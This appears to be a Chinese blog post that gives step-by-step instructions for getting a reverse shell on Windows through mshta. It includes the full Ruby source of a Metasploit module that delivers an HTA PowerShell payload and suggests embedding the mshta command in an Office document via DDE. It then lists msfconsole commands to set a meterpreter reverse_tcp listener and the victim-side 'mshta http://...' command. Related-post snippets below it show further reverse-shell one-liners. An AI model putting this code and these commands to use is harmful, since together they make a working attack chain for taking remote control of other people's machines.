mshta 反弹shell
kali系统准备:
复制以下ruby代码到/usr/share/metasploit-framework/modules/exploits/windows/smb/msh_shell.rb目录(要注意代码缩进哦):
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
## class MetasploitModule < Msf::Exploit::Remote
Rank = NormalRanking include Msf::Exploit::Remote::HttpServer def initialize(info = {})
super(update_info(info,
'Name' => 'Microsoft Office Payload Delivery',
'Description' => %q{
This module generates an command to place within
a word document, that when executed, will retrieve a HTA payload
via HTTP from an web server. Currently have not figured out how
to generate a doc.
},
'License' => MSF_LICENSE,
'Arch' => ARCH_X86,
'Platform' => 'win',
'Targets' =>
[
['Automatic', {} ],
],
'DefaultTarget' => 0,
))
end def on_request_uri(cli, _request)
print_status("Delivering payload")
p = regenerate_payload(cli)
data = Msf::Util::EXE.to_executable_fmt(
framework,
ARCH_X86,
'win',
p.encoded,
'hta-psh',
{ :arch => ARCH_X86, :platform => 'win '}
)
send_response(cli, data, 'Content-Type' => 'application/hta')
end def primer
url = get_uri
print_status("Place the following DDE in an MS document:")
print_line("mshta.exe \"#{url}\"")
end
end
在命令行启动msf的服务:
service postgresql start
再启动msf:
sudo msfconsole
重新加载所有模块:
reload_all
查找我们刚刚新建的msh_shell模块:
search msh_shell
加载这个模块:
use exploit/windows/smb/msh_shell
使用反弹shellcode, 配置本机地址, 配置uri地址
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.0.105
set uripath aaaa
exploit
window系统:
打开运行命令,执行:
mshta http://kali系统的IP/aaaa
kali系统就会收到一个window系统的shell
mshta 反弹shell的更多相关文章
- Linux下反弹shell的种种方式
[前言:在乌云社区看到反弹shell的几种姿势,看过之余自己还收集了一些,动手试了下,仅供参考] 0x01 Bash bash -i >& /dev/tcp/ >& 这里s ...
- 内网渗透中的反弹Shell与端口转发
from:https://www.91ri.org/9367.html Web渗透中的反弹Shell与端口转发 php需未禁用exec函数一:生成php反弹脚本msf > msfpayload ...
- NC / Netcat - 反弹Shell
原理 实验环境: 攻击机:windows机器,IP:192.168.12.109 受害机:linux机器,IP:192.168.79.1 攻击机:设置本地监听端口2222 C:\netcat>n ...
- 小白日记40:kali渗透测试之Web渗透-SQL手工注入(二)-读取文件、写入文件、反弹shell
SQL手工注入 1.读取文件[load_file函数] ' union SELECT null,load_file('/etc/passwd')--+ burpsuite 2.写入文件 ' unio ...
- linux反弹shell
参考链接 http://www.cnblogs.com/r00tgrok/p/reverse_shell_cheatsheet.html http://www.waitalone.cn/linux-s ...
- python shell与反弹shell
python shell与反弹shell 正常shell需要先在攻击端开机情况下开启程序,然后攻击端运行程序,才能连接 反弹shell,攻击端是服务端,被攻击端是客户端正常shell,攻击端是客户端, ...
- linux下反弹shell
01 前言 CTF中一些命令执行的题目需要反弹shell,于是solo一波. 02 环境 win10 192.168.43.151 监听端 装有nc kali ...
- golang写的反弹shell(自作孽不可活,切记,切记!)
仅作安全研究 package main import ( "os/exec" "go-pop3" "log" "strings&q ...
- 使用DnsCat反弹shell
DnsCat技术特点 Dns隧道反弹shell DnsCat服务器的安装 #git clone https://github.com/iagox86/dnscat2.git #cd dnscat2 # ...
随机推荐
- PHP开发框架之YII框架学习——碾压ThinkPHP不是梦
前 言 JRedu 程序猿是一种慵懒的生物!能少敲一行代码,绝对不会多敲一个字符!所以,越来越多的开发框架应运而生,在帮助我们完成功能的同时,极大程度上也帮我们节省了人力物力,而且也提高了系统的 ...
- 在mac OS10.10下安装 cocoapods遇到的一些问题
今天有个朋友问了我一个问题:为什么我安装cocoapods不成功,报 sh: line 1: 997 Abort trap: 6 /Applications/Xcode.app/Contents/De ...
- 读书笔记-你不知道的JS上-对象
好想要对象··· 函数的调用位置不同会造成this绑定对象不同.但是对象到底是什么,为什么要绑定他们呢?(可以可以,我也不太懂) 语法 对象声明有两个形式: 1.字面量 => var obj = ...
- 磨刀不误砍柴工!vs2010快捷键大全
最常用的快捷键: VS2012变化的快捷键: 注释::VS2010是(Ctrl+E,C),VS2012是(Ctrl+K, Ctrl+C),实际操作,按住Ctrl键不放,先按K键,再按C键.相当于Ctr ...
- Java中的类变量、实例变量、类方法、实例方法的区别
类变量:形如static int a; 顾名思义,类变量可以理解为类的变量,类变量在类加载的时候就已经给它分配了内存空间,不同于实例变量(int a; ),实例变量是在该类创建对象的时候分配内存的.并 ...
- java使用for循环做猜数字游戏
package org.llh.test;import java.util.Random;import java.util.Scanner;/** * 猜数字游戏 * * @author llh * ...
- HDU 4267 A Simple Problem with Integers(树状数组区间更新)
A Simple Problem with Integers Time Limit: 5000/1500 MS (Java/Others) Memory Limit: 32768/32768 K ...
- css英文字符或者数字不换行的问题
table-layout:fixed; word-break: break-all; overflow:hidden;
- JavaNIO缓冲区
package com.nio.test; import java.nio.ByteBuffer; import org.junit.Test; /** * * @author fliay * * 一 ...
- wkt转换geojson
应用配置 <project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.o ...